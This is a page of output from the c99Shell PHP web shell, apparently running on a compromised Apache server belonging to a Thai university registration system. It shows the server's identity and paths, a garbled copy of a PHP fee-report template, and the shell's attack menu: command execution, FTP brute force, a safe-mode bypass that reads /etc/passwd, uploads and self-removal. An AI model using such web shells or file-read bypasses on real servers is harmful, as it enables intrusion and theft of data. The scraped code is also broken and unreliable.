!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/views/eregis/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_rptRis101.php (3.63 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
$cfgClgLogo 
= (! isset($cfgClgLogo)? "" $cfgClgLogo);
$cfgClgName = (! isset($cfgClgName)? "" $cfgClgName);
$cfgSiteName = (! isset($cfgSiteName)? "" $cfgSiteName);
?>
<table width="100%" align="center">
    <tr><td colspan="3" align="left">
    <input type="button" value="กลับ" onClick="location.href='<?php echo "searchRptRis101";?>'">
</td></tr>
    <tr><td colspan="3" align="left"><hr/></td></tr>
    <tr>
        <td width="50"><img src="<?php echo base_url().$this->config->item('rg_upload_picture').$cfgClgLogo;?>" width="111" height="95" align="absmiddle" border="0"></td>
        <td width="500"><font size="2"><b><?=$cfgClgName;?><br><?=$cfgSiteName;?></b></font></td>
        <td width="200" align="right" valign="top"><font size="2"><b>RIS101</b></font></td>
    </tr>
    <tr valign="top">
        <td align="center" colspan="3"><hr color="#000000" noshade><br></td>
    </tr>
    <tr>
        <td align="center" colspan="3"><table width="100%" align="center">
            <tr>
                <td height="22" align="center"><font size="2"><b>รายการค่าลงทะเบียนและค่าใช้จ่ายสำหรับนักศึกษาใหม่</b></font></td>
            </tr>
            <tr>
                <td height="22" align="center"><font size="2"><b>ประจำปีการศึกษา <?php echo $acY;?></b></font></td>
            </tr>
            <tr>
                <td height="22"></td>
            </tr>
            <tr>
                <td height="22"><font size="2"><b>หลักสูตร <? if($qu_cur->num_rows()) { $row $qu_cur->row(); echo $row->curName; }?></b></font></td>
            </tr>
            <tr>
                <td><table width="100%" class="headCol">
                    <tr bgcolor="<?=$this->config->item("rg_table_color");?>">
                        <th class="seqCol">ที่</th>
                        <th>รายการ</th>
                        <th class="amtCol">หน่วยกิต</th>
                        <th class="amtCol">รวมเงิน</th>
                        <th>หมายเหตุ</th>
                    </tr>
<?php
                    $sumCommonFeeTP 
0;
                    
$i 1;
                    if(
$rs_cmft->num_rows()) {
                        foreach(
$rs_cmft->result() as $row) {
                        echo 
"<tr onmouseover=\"bgColor='".$tr_color_even."'\" onmouseout=\"bgColor='".$this->config->item("rg_mouseout")."'\">";
?>
                        <td class="gray" align="center"><?=$i;?></td>
                        <td class="gray"><?=$row->feeName;?></td>
                        <td class="gray" align="center">-</td>
                        <td class="gray" align="right"><?=number_format($row->cmftAmt2);?></td>
                        <td class="gray" align="center"></td>
                    </tr>
<?php
                            $sumCommonFeeTP 
+= $row->cmftAmt;
                            
$i++;
                        }
                    }
                
                    
$sumProgramFeeTP 0;
                    
$j $i;    
                    if(
$rs_cft->num_rows()) {
                        foreach(
$rs_cft->result() as $row) {    
?>
                    <tr>
                        <td class="gray" align="center"><?=$j;?></td>
                        <td class="gray"><?=$row->feeName;?></td>
                        <td class="gray" align="center">-</td>
                        <td class="gray" align="right"><?=number_format($row->cftAmt2);?></td>
                        <td class="gray" align="center"></td>
                    </tr>
<?php
                            $sumProgramFeeTP 
+= $row->cftAmt;
                            
$j++;
                        }
                    }
?>
                    <tr>
                        <td class="gray" height="22" colspan="3" align="center">รวมเงินที่ต้องชำระทั้งหมด</td>
                        <td class="gray" align="right" bgcolor="<?=$this->config->item('rg_head_tb_headCol');?>">
                        <?php echo number_format($sumCommonFeeTP $sumProgramFeeTP2);?></td>
                        <td></td>
                    </tr>
                </table></td>
            </tr>
        </table></td>
    </tr>
    <tr valign="bottom">
        <td align="center" colspan="3" height="88"><hr color="#000000" noshade></td>
    </tr>
    <tr valign="top">
        <td colspan="2"><font size="2">วันที่พิมพ์ : <?php echo date('d-m-y h:m');?></font></td>
        <td align="right"><font size="2">หน้า 1/1</font></td>            
    </tr>                
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0156 ]--